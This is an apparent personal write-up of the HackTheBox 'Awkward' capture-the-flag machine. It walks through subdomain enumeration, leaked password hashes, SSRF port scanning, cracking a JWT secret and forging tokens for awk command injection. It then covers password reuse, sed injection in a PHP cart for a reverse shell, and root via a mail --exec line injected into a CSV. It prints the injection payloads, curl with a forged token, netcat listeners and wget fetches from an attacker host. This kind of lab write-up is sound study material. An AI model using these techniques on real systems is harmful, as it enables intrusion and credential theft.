Hackthebox - Awkward

Awkward

Nmap

┌──(kali㉿kali)-[~/Documents/hackthebox/awkward]
└─$ sudo nmap -T4 -sC -sV -O -Pn -p- 10.10.11.185                                                                                                        
[sudo] password for kali: 
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-29 14:33 EST
Nmap scan report for 10.10.11.185
Host is up (0.032s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 7254afbaf6e2835941b7cd611c2f418b (ECDSA)
|_  256 59365bba3c7821e326b37d23605aec38 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0 (Ubuntu)
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), Linux 5.3 - 5.4 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 2.6.32 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.4 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.97 seconds
  • When accessing to http://10.10.11.185 it fails to redirect us to http://hat-valley.htb. So we need to modify our /etc/hosts file 10.10.11.185 hat-valley.htb

Port 80

  • When accessing http://hat-valley.htb/ we land here

hat valley

Gobuster

WFUZZ dns

  • We have to filter on 200 wfuzz -c -f sub-fighter -w /usr/share/wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -u 'http://hat-valley.htb/' -H "HOST: FUZZ.hat-valley.htb" --hc 200

  • http://store.hat-valley.htb if we go to this url we get a login prompt

  • When playing with the request on burp I found a page in /static/js dashboard.js, it might be wise to have a look and see if we can enumerate anything else in the static and js folders.

  • What caught my attention in burp is the cookie with Cookie: token=guest

  • Of course I tried to update it to admin but did not get anything. Tried also in the browser it did update the cookie to admin so maybe I should check out for other pages.

  • so let's launch gobuster again and see if it finds anything

more dir enum

If we add js at the end of each page in static/js and in js we get the code. In the app.js code this comes back quite often ./src/HR. We also seem to have some references to an API /api/\.

  • Let's try to access it with our browser http://hat-valley.htb/hr. We get a login page. login page

  • This snippet is interesting /api/\";\n\nvar staff_details = function staff_details() {\n return axios__WEBPACK_IMPORTED_MODULE_0___default.a.get(baseURL + 'staff-details') we can conclude we have and /api/staff-details endpoint.

  • Doing a research for "baseURL" we get 9 results and we can find more:

    • /api/all-leave

    • /api/submit-leave

    • /api/login

    • /api/store-status

  • Let's see if we can access these. The staff-details endpoint leaks password staff details

  • Our cookie is still set on token=admin because I changed it before. It does not seem to matter though because it is not in the request. See the request here request

  • Let's get confirmation of this on the repeater. Indeed if we try to add a cookie to the request we get a jwt token error. jwt error

  • So the jwt token is not implemented yet. And it might be why we can access the staff-details page. Let's check out the other API endpoints.

  • The all-leave returns and "Invalid User" error invalid user

  • The submit leave does not seem to accept our http verb so maybe we can try a post request cannot get

  • If we make a post request we get "Invalid User" Invalid user

  • Also I wanted to check if there was a documentation for the api and got this docs

  • And if I try a POST on this I get "Cannot POST" so this looks like a 404. Furthermore, if we make up an endpoint that we are sure could not exist it behaves like this as well. So def a 404. Non existent page

  • Ok I had fun looking at the web App but it is definitely time to try and crack the hashes we found.

  • Let's first start with Crackstation:

    • It does not find christine wool's password.

    • If does find Christopher Jones' one: chris123 cracked pass

    • It does not find the 2 others as well and I am pretty sure hashcat will not find them either because crackstation uses plenty of wordlists so the rokyou is certainly one of these. What we could try though if we need later is using cewl to generate a wordlist from the website and try it. But as we have a password, this is not necessary for now.

  • The password does not work on ssh. Let's try it on the login page we found when enumerating subdomain.

  • Let's try to login with the endpoint login.

  • So if just make a get request we have the cannot get error but if we change to post we have this: error

  • So this is promising. It's a type error so let's convert our request in json and send it. Interesting now it is asking for a string: ask for string

  • Now let's try with a username and password and see if we get a token

  • This should do the trick. It works! We get a token! token

  • So now we should be able to access the endpoints we could not previously access. It works but it will involeve some reverse engineering to find out how to properly forge the requests. works

  • Let's be lazy and try to login on the hr page we found before with the creds. It works! logged in

  • Looking around we can make leave request. But the thing that is really interesting is the refresh button here refresh

  • This makes a request like this

  • This url parameter is really interesting. If we add it to our repeater and set up a python web server we can see if it actually makes a request to our server. So let's try this

  • And it works our server receives the request

Request received
  • The first step in ssrf is usually to check if we have open ports on the target. We can see that we do not get the same response when a port is open than when it is closed:

    • Port open.

Port open
  • Port closed

closed port
  • Let's see what other ports we have using burp intruder

intruder
  • Now we can use the "Numbers" payload type and increment them to one from 1 to 65535

payload settings
  • Let's make a grep in the options tab on <!DOCTYPE html>

grep match
  • Once we get some hits, we can check out the result in our browser by copying the url from burp

  • So for port 3002 http://hat-valley.htb/api/store-status?url=%22http%3a%2f%2f127.0.0.1%3a3002%22 we have the API documentation API doc

  • Here are the open ports we found with intruder (80, 3002, 8080)

open ports
  • The api documentation is really interesting. What will need further investigation is the all-leave endpoint. See the code here

  • So it takes the user (which we have control over) to pass it to an awk command.

  • To manipulate the user variable we will need to tamper with the jwt token in the snippet where our user is. But first let's have a look at it. We can use jwt.io but why not try out a burp extension from the bapp store. if we look up jwt token there is one called Json Web token that would be worth trying.

  • Here is what our decoded token with our new burp extension looks like

decoded token
  • The only thing is that we need to get the secret key if we want to modify it.

  • Here are the command to do this with john.

  • We can get jwt2john here and try to crack the jwt but in out case we will use the rockyou wordlist instead of the default john.

  • It works we get the key 123beany123

john
  • So using this we can generate malicious jwt token. Let's use jwt.io for this

  • So I had to play a little with the spaces for the command to be working

  • Let's inspect this. Our command is like this "awk '/" + user + "/' /var/www/private/leave_requests.csv" so with the real user it looks like this "awk '/" + "christopher.jones" + "/' /var/www/private/leave_requests.csv". So we want to do something like this "awk '/" + "/' /etc/passwd '" + "/' /var/www/private/leave_requests.csv"

  • So our payload will be "/' /etc/passwd '" payload

  • We can now add our new generated token in the request of the endpoint /api/all-leave new token

  • And it works we get the /etc/passwd file

  • here it is

  • Here are our users in the system

users
  • Maybe we could find an ssh key "/' /home/bean/.ssh/id_rsa '" did not work with either use.

  • Let try to get .bashrc or .bash_history. bash_history does not give anything but bashrc shows up

  • There is an alias that uses a homemade script /home/bean/Documents/backup_home.sh.

  • Let's check it out

  • We need to get the file with curl we wont be able with burp.

  • The --cookie does not work let's try the --header

  • And it works curl --header "Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ob21lL2JlYW4vRG9jdW1lbnRzL2JhY2t1cC9iZWFuX2JhY2t1cF9maW5hbC50YXIuZ3ogJyIsImlhdCI6MTY3MjY4OTczNX0.LkFALppbSDqosL-J0WTN_U_aULTDgYnlN1uBIysxjE8" http://hat-valley.htb/api/all-leave --output bean.tar.gz

Here you should create a directory because the files you will get is the full home dir backup so it can look messy if you are a member of the cleaning patrol like me ^_^''

  • We unzip our file and get the other archive so we need to extract it as well.

  • The best way to have an idea of the files is the tree command that I really like

tree part 1 tree part 2 tree part 3

  • Now we can explore this. We find the file .config/xpad/content-DS1ZS1 that contains a password. And something that looks like a hint and that we should keep apart.

  • We can now ssh as bean using the password 014mrbeanrules!#P

ssh as been
  • We can grab the user flag

Privesc

  • Sudo -l does not give anything

  • Let's see uname -a and take linpeas Linux awkward 5.15.0-52-generic #58-Ubuntu SMP Thu Oct 13 08:03:55 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux

  • wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64

  • python3 -m http.server 80 And in our target wget http://10.10.14.10/linpeas_linux_amd64

  • chmod +x linpeas_linux_amd64

  • ./linpeas_linux_amd64

  • Things worth investigating

  • Let's see if we can crack the password we found. We will need to check in the hashcat documentation to chose the proper mode. We make a ctrl+f on the page and look for "$apr" so let's try -m 1600 hashcat -m 1600 htpasswd /usr/share/wordlists/rockyou.txt

  • Seems like a rabbit hole because there's no hit

  • If we look around we have a private dir in /var/www but we have permission denied on it.

  • I just remembered that we found a subdomain during the enumeration phase. It was a login portal. Let's try to reuse the password we previously found 014mrbeanrules!#P. So we had to use it with the username admin and not bean.hill

  • It is also time to check out the thing that seemed to be a hint in the file we found bean.hill credentials: https://www.slac.stanford.edu/slac/www/resource/how-to-use/cgi-rexx/cgi-esc.html

  • Let's check the app files in the server

files
  • When I was looking around the website in my browser I added some items in my cart. Turns out I can see them in the folder carte we can see the items. cart

  • Let's check the code for this. Cause this shows that we can write files on the server using the website. Let's first check cart_actions.php

  • So the "delete from cart" part of the code uses a bash command sed. This is what we need to try to play with.

  • wget http://10.10.14.10/getroot.sh

  • chmod +x getroot.sh

  • In the app we add a dog hat in our cart

  • So in the folder cart we need to create a file with this inside

  • Your getshell file should look like this and should be in /tmp

  • In cart you need to delete the file b618-64f1-5be-30b7 and then rename the file you created with the name of the file you just deleted. (we can not modify the file right away so that is why all this hassle...)

  • Now you will need to set a listener rlwrap nc -lvp 4444

  • Go to back to the application an click on cart to view your cart

  • Go to burp put your intercept on

  • Click delete in the cart next to the item and modify the request as follow

Note: We need to have the same content in the file in the server and in our burp because the script is actually comparing these value and checking that they are the same.

  • We should have gotten a shell in our listener as www-data shell as www-data

  • Let's have a look at this /var/www/private folder that gave us permission denied with the user bean

  • In it there is a file called leave_requests.csv

  • With ps -aux we can see this process

  • If we tamper with the file it triggers this process

  • And we can then see that it uses the mail command.

  • So we can modify our previous shell or create a new one.

  • Researching on this command we can find the options --exec. See here for more info. So in the csv file we can add a line in the csv to get a root shell.

  • So let's set a listener rlwrap nc -lvp 4446 and then add the line to the file using echo like this echo '" --exec="\!/tmp/getroot.sh"' >> leave_requests.csv

  • And we get our root shell and can grab the final flag root

Last updated